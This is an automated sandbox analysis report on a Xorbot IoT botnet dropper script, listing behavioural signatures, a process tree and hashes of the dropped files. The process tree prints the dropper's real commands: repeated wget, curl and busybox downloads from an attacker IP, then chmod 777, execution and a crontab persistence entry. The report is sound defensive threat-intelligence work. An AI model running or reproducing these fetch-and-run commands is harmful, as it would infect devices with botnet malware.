Analysis

  • max time kernel
    130s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    27/01/2025, 18:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-xcbbpa1ram
  • SHA256 20d263198bdf6e1802163888c23bb458a571ef1be0496732fb0215080030bd2c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:705
      • /usr/bin/wget
        wget http://94.154.35.94/bins/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        2⤵
        • Writes file to tmp directory
        PID:707
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:811
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        2⤵
        • Writes file to tmp directory
        PID:812
      • /bin/chmod
        chmod 777 wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        2⤵
        • File and Directory Permissions Modification
        PID:813
      • /tmp/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        ./wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
        2⤵
          PID:814
        • /bin/rm
          rm wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
          2⤵
            PID:816
          • /usr/bin/wget
            wget http://94.154.35.94/bins/i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            2⤵
            • Writes file to tmp directory
            PID:817
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:818
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            2⤵
            • Writes file to tmp directory
            PID:819
          • /bin/chmod
            chmod 777 i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            2⤵
            • File and Directory Permissions Modification
            PID:820
          • /tmp/i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            ./i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
            2⤵
              PID:821
            • /bin/rm
              rm i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
              2⤵
                PID:823
              • /usr/bin/wget
                wget http://94.154.35.94/bins/2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                2⤵
                • Writes file to tmp directory
                PID:824
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:825
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/chmod
                chmod 777 2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                2⤵
                • File and Directory Permissions Modification
                PID:827
              • /tmp/2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                ./2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                2⤵
                  PID:828
                • /bin/rm
                  rm 2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    2⤵
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:832
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    2⤵
                    • Writes file to tmp directory
                    PID:833
                  • /bin/chmod
                    chmod 777 babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:834
                  • /tmp/babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    ./babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                    2⤵
                      PID:835
                    • /bin/rm
                      rm babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                      2⤵
                        PID:837
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        2⤵
                        • Writes file to tmp directory
                        PID:838
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        2⤵
                        • Writes file to tmp directory
                        PID:839
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        2⤵
                        • Writes file to tmp directory
                        PID:840
                      • /bin/chmod
                        chmod 777 bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        2⤵
                        • File and Directory Permissions Modification
                        PID:841
                      • /tmp/bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        ./bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                        2⤵
                          PID:842
                        • /bin/rm
                          rm bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                          2⤵
                            PID:844
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            2⤵
                            • Writes file to tmp directory
                            PID:845
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:846
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            2⤵
                            • Writes file to tmp directory
                            PID:847
                          • /bin/chmod
                            chmod 777 PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            2⤵
                            • File and Directory Permissions Modification
                            PID:848
                          • /tmp/PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            ./PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                            2⤵
                              PID:849
                            • /bin/rm
                              rm PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                              2⤵
                                PID:851
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                2⤵
                                • Writes file to tmp directory
                                PID:852
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:853
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                2⤵
                                • Writes file to tmp directory
                                PID:854
                              • /bin/chmod
                                chmod 777 DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                2⤵
                                • File and Directory Permissions Modification
                                PID:855
                              • /tmp/DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                ./DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                2⤵
                                  PID:856
                                • /bin/rm
                                  rm DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                  2⤵
                                    PID:858
                                  • /usr/bin/wget
                                    wget http://94.154.35.94/bins/loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:859
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:860
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:861
                                  • /bin/chmod
                                    chmod 777 loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:862
                                  • /tmp/loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    ./loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                    2⤵
                                      PID:863
                                    • /bin/rm
                                      rm loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                      2⤵
                                        PID:865
                                      • /usr/bin/wget
                                        wget http://94.154.35.94/bins/idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:866
                                      • /usr/bin/curl
                                        curl -O http://94.154.35.94/bins/idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:867
                                      • /bin/busybox
                                        /bin/busybox wget http://94.154.35.94/bins/idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:868
                                      • /bin/chmod
                                        chmod 777 idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:869
                                      • /tmp/idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        ./idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                        2⤵
                                          PID:870
                                        • /bin/rm
                                          rm idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                          2⤵
                                            PID:872
                                          • /usr/bin/wget
                                            wget http://94.154.35.94/bins/mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:873
                                          • /usr/bin/curl
                                            curl -O http://94.154.35.94/bins/mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:874
                                          • /bin/busybox
                                            /bin/busybox wget http://94.154.35.94/bins/mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:875
                                          • /bin/chmod
                                            chmod 777 mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:876
                                          • /tmp/mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            ./mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                            2⤵
                                              PID:877
                                            • /bin/rm
                                              rm mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                              2⤵
                                                PID:879
                                              • /usr/bin/wget
                                                wget http://94.154.35.94/bins/75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:880
                                              • /usr/bin/curl
                                                curl -O http://94.154.35.94/bins/75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:881
                                              • /bin/busybox
                                                /bin/busybox wget http://94.154.35.94/bins/75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:882
                                              • /bin/chmod
                                                chmod 777 75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:883
                                              • /tmp/75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                ./75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                2⤵
                                                  PID:884
                                                • /bin/rm
                                                  rm 75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                  2⤵
                                                    PID:886
                                                  • /usr/bin/wget
                                                    wget http://94.154.35.94/bins/BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:887
                                                  • /usr/bin/curl
                                                    curl -O http://94.154.35.94/bins/BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:888
                                                  • /bin/busybox
                                                    /bin/busybox wget http://94.154.35.94/bins/BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:889
                                                  • /bin/chmod
                                                    chmod 777 BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:890
                                                  • /tmp/BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    ./BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                    2⤵
                                                    • Renames itself
                                                    • Reads runtime system information
                                                    PID:891
                                                    • /bin/sh
                                                      sh -c "crontab -l"
                                                      3⤵
                                                        PID:893
                                                        • /usr/bin/crontab
                                                          crontab -l
                                                          4⤵
                                                          • Reads runtime system information
                                                          PID:894
                                                      • /bin/sh
                                                        sh -c "crontab -"
                                                        3⤵
                                                          PID:895
                                                          • /usr/bin/crontab
                                                            crontab -
                                                            4⤵
                                                            • Creates/modifies Cron job
                                                            • Reads runtime system information
                                                            PID:896
                                                      • /bin/rm
                                                        rm BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                        2⤵
                                                          PID:898
                                                        • /usr/bin/wget
                                                          wget http://94.154.35.94/bins/r1LmXJPLTCQIyfAIBBEeFEDO4GO6m6lNgy
                                                          2⤵
                                                            PID:901

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu

                                                              • Path /tmp/2k2Krk29C2EodDwvXbI9I50l22aaMzHqtu
                                                              • Size 107KB
                                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB

                                                              • Path /tmp/75KHOeyS1qjGJj7X0iC2UsAKTwBsZuY1QB
                                                              • Size 151KB
                                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q

                                                              • Path /tmp/BzZA3MxtVEMQoX1zat2kul6bIWRepe3y1Q
                                                              • Size 151KB
                                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J

                                                              • Path /tmp/DlsOjV4Oy6lcqmKOA0ulc6UNjPVPhV1K9J
                                                              • Size 117KB
                                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE

                                                              • Path /tmp/PoJjvI7WKaJFq5fyAcprNN9THC3Gq6rxFE
                                                              • Size 122KB
                                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5

                                                              • Path /tmp/bMYPAwGMYepOS4XrMwxJviUWhhFtTNorq5
                                                              • Size 111KB
                                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO

                                                              • Path /tmp/babK8Y2dcn9qUZyjRCNBTG8Jrk3tKxbmgO
                                                              • Size 177KB
                                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1

                                                              • Path /tmp/i8zbR8R1Y1ifyqJm94Rzj6aeYRYM0GLdO1
                                                              • Size 119KB
                                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75

                                                              • Path /tmp/idoV3CwZpFDcd3p42Edpws9FCs5gJ7AX75
                                                              • Size 98KB
                                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku

                                                              • Path /tmp/loU7QOma9u7CgwkvlCrKS2OLiK2sTudmku
                                                              • Size 112KB
                                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw

                                                              • Path /tmp/mV98HR4B5JHdsts52lR5sRSgXiSO2SPBIw
                                                              • Size 127KB
                                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR

                                                              • Path /tmp/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
                                                              • Size 99KB
                                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              tmp.YO1AK2

                                                              • Path /var/spool/cron/crontabs/tmp.YO1AK2
                                                              • Size 210B
                                                              • SHA256 60ed4c7c8762f7a401492fba10bdfed695614263f1afdcf00d2e1a9f4a327724
                                                              • MD5 SHA1 SHA512